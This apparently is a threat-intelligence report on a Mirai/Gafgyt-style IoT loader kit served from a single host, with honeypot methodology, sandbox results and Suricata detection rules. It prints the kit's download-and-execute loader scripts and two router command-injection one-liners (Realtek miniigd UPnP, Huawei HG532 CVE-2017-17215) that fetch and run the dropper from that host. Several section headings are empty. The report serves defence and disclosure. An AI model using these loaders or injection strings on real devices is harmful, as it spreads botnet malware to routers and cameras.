Sensi IoT loader kit — 95.155.151.113

Executive summary

We've published this shape before: a single host doing the exploit, the loader, and the payload hosting all at once, no separation of roles. Our July report on 94.183.232.247 called that combination unusual. It no longer reads as a one-off — this is a second, independent instance of the same operational pattern, six weeks later, from an unrelated host. What's different this time is the distribution mechanism: instead of one flat multi-architecture loader script, this host runs a small build system. Two coexisting generations of loader script, each stamping a distinct exploit-vendor tag — hikvision, tbkdvr, tplink, avtech, totolink, zhone, hi3520, and others — into an otherwise identical download-and-execute routine.

VirusTotal (checked live, 2026-08-15) classifies the recovered ELF payloads as trojan.mirai/gafgyt, with detection rates as high as 40/60 engines on the largest observed binary. We detonated 13 of the recovered payloads in sandbox; all executed cleanly (exit_kind: exited) but none produced an outbound command-and-control connection within the observation window — a real limitation of this report, not a finding of C2 absence.

Threat actor profile

No named threat actor or public write-up was found matching this exact build-tag kit or its script naming convention. The operator has not been attributed. One filename choice is worth flagging as a possible self-identifier rather than a vendor-exploit tag: the generic loader at /sensi.sh has been served in two different forms over time — one tagged sensi, the other, functionally identical but from the older script generation, tagged goon. Every other tag we recovered names a real vendor or device family (Hikvision, TP-Link, Avtech, TOTOLINK, Zhone, Fiberhome-shaped, Hisilicon HI3520, generic TBK/generic DVR). goon doesn't fit that pattern and reads more like an operator or builder handle than an exploit label.

Infrastructure analysis

Directory listing

Hosting

Malware analysis

Loader scripts — two generations

We recovered 23 distinct loader-script hashes from paths under /sensi* alone (the host also serves un-prefixed vendor scripts — dlink.sh, gpon.sh, hnap.sh, huawei.sh, netgear.sh, realtek.sh, unifi.sh — sharing the same download-and-execute logic, not counted in the 23). All are small POSIX shell scripts, no obfuscation.

# Newer generation (sensi_tbk.sh) — condensed
SERVER="95.155.151.113"; TAG="tbk"
dl() {
    wget -q http://$SERVER/d/$1 -O d 2>/dev/null || busybox wget ... || curl -s -o d ... || tftp -g -l d -r $1 $SERVER
    [ -f d ] || return 1
    [ "$(wc -c < d)" -gt 10000 ] || { rm -f d; return 1; }
    chmod 777 d; ./d "$TAG" >/dev/null 2>&1 && exit 0
    rm -f d; return 1
}
dl slim.arm7; dl slim.arm; dl xd.arm7; dl xd.arm; dl xd.arm5; dl xd.arm6
dl slim.mips; dl slim.mpsl; dl xd.mips; dl xd.mpsl; dl xd.x86
dl slim.arm64; dl xd.arm64; dl xd.ppc; dl xd.sh4; dl xd.m68k

# Older generation (813ecca5…, tagged hikvsn) — condensed
SERVER="95.155.151.113"
dl() {
    wget -q http://$SERVER/d/$1 -O d 2>/dev/null || busybox wget ... || curl -s -o d ...
    chmod 777 d 2>/dev/null; ./d hikvsn; rm -rf d
}
dl xd.mips; dl xd.mpsl; dl xd.arm; dl xd.arm5; dl xd.arm6; dl xd.arm7
dl xd.ppc; dl xd.spc; dl xd.m68k; dl xd.sh4

Payload binaries

Multi-architecture ELF payloads under /d/ and mirrored at the directory root: arm, arm5, arm7, arm64, mips, mpsl. Not packed — file-type identification cleanly resolves ELF headers and target architecture on every sample we checked, unlike a UPX- or custom-packed binary, which typically identifies as raw "data." The two largest recovered "full" (xd.*) binaries are 734,664 and 734,312 bytes — notably large for a Mirai-family payload, consistent with the loader's own "slim first, then full" naming implying the full tier bundles additional functionality (self-propagation, telnet/SSH scanning) that a slim tier omits.

Sandbox detonation

13 of the recovered payloads (arm, aarch64, mips, mipsel architectures) were run through our automated sandbox pipeline, each for a 5-minute window. All 13 executed successfully (boot_ok, login_ok, exec_ok all true) and exited cleanly (exit_kind: exited) without crashing or hanging.

Observed TTPs — MITRE ATT&CK

Activity timeline

Exploit payload

Realtek miniigd UPnP command injection

A long-known UPnP/SOAP command-injection weakness in Realtek's miniigd SDK, abused via the NewInternalClient action parameter of the WANIPConn1/WANPPPConn1 UPnP service. Widely exploited by Mirai-lineage botnets since at least 2018.

`cd /tmp; wget http://95.155.151.113/sensi.sh -O z; chmod 777 z; sh z`

Huawei HG532 NewStatusURL RCE (CVE-2017-17215)

Command injection in the Huawei HG532 router's UPnP NewStatusURL/NewDownloadURL SOAP action, first mass-exploited by Satori/Okiru in late 2017.

$(/bin/busybox wget http://95.155.151.113/sensi.sh -O /tmp/z; chmod 777 /tmp/z; sh /tmp/z)
$(echo HUAWEIUPNP)

Both RCE chains deliver the identical dropper one-liner, differing only in the SOAP wrapper the vulnerable device parses.

Indicators of compromise

Network IOCs

File IOCs — representative sample

Full IOC set (52 distinct hashes across 42 URLs) available on request; representative sample shown for brevity.

Mitigations and detection

Detection signatures

# Suricata/Snort — Realtek miniigd UPnP command injection delivering this kit
alert http any any -> $HOME_NET any (msg:"Sensi kit: Realtek miniigd RCE delivering loader"; \
  content:"NewInternalClient"; http_client_body; \
  content:"95.155.151.113"; http_client_body; \
  flow:established,to_server; sid:9920101; rev:1;)

# Suricata/Snort — Huawei HG532 CVE-2017-17215 delivering this kit
alert http any any -> $HOME_NET any (msg:"Sensi kit: Huawei HG532 CVE-2017-17215 delivering loader"; \
  content:"NewStatusURL"; http_client_body; \
  content:"95.155.151.113"; http_client_body; \
  flow:established,to_server; sid:9920102; rev:1;)

# Suricata — outbound fetch from the loader host
alert http $HOME_NET any -> 95.155.151.113 any (msg:"Sensi kit: outbound loader/payload fetch"; \
  content:"GET"; http_method; \
  flow:established,to_server; sid:9920103; rev:1;)

Collection methodology

All data in this report was collected organically by a distributed SSH/Telnet honeypot fleet deployed across multiple cloud providers and geographic regions. Fleet nodes also run alternate-protocol lure daemons that capture exploitation attempts against commonly-targeted IoT/router management interfaces, including the UPnP/SOAP services abused in this campaign.

Dropper URLs extracted from captured exploit commands were automatically fetched and stored by the fleet's collection pipeline; the same pipeline discovered and recursively harvested the open directory once the dropper's parent path was identified. Recovered ELF payloads were automatically queued for sandbox detonation, with network egress routed through a residential-style VPN for realistic network conditions; no interaction with victim networks occurred beyond passive observation of traffic the sample itself generated. VirusTotal, RDAP, and IP-infrastructure-classification lookups were performed via the fleet's own investigation tooling at the time this report was written.